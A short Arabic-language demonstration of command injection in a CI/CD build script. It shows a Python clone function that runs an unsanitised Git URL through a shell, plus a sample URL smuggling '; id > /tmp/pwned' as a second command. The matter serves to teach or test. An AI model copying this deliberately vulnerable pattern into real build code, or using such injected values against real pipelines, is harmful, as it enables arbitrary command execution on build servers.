
يوضّح حقن الأوامر عبر عناوين Git غير المعقّمة في خطوط أنابيب CI/CD، بما في ذلك سكربت بناء هشّ ومثال استغلال لثغرة CVE حرجة.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
يستخدم سكربت خط أنابيب CI/CD عناوين مستودعات Git المقدمة من المستخدم دون تنقية في أمر shell. يمكن للمهاجم حقن أوامر shell عبر تضمين أحرف خاصة (مثل و) في العنوان، مما يؤدي إلى تنفيذ أوامر عشوائية على خادم البناء.
;&&شغّل السكربت الضعيف:
python cicd_build.py
ينفّذ الأمر id المحقون، مما ينشئ الملف /tmp/pwned.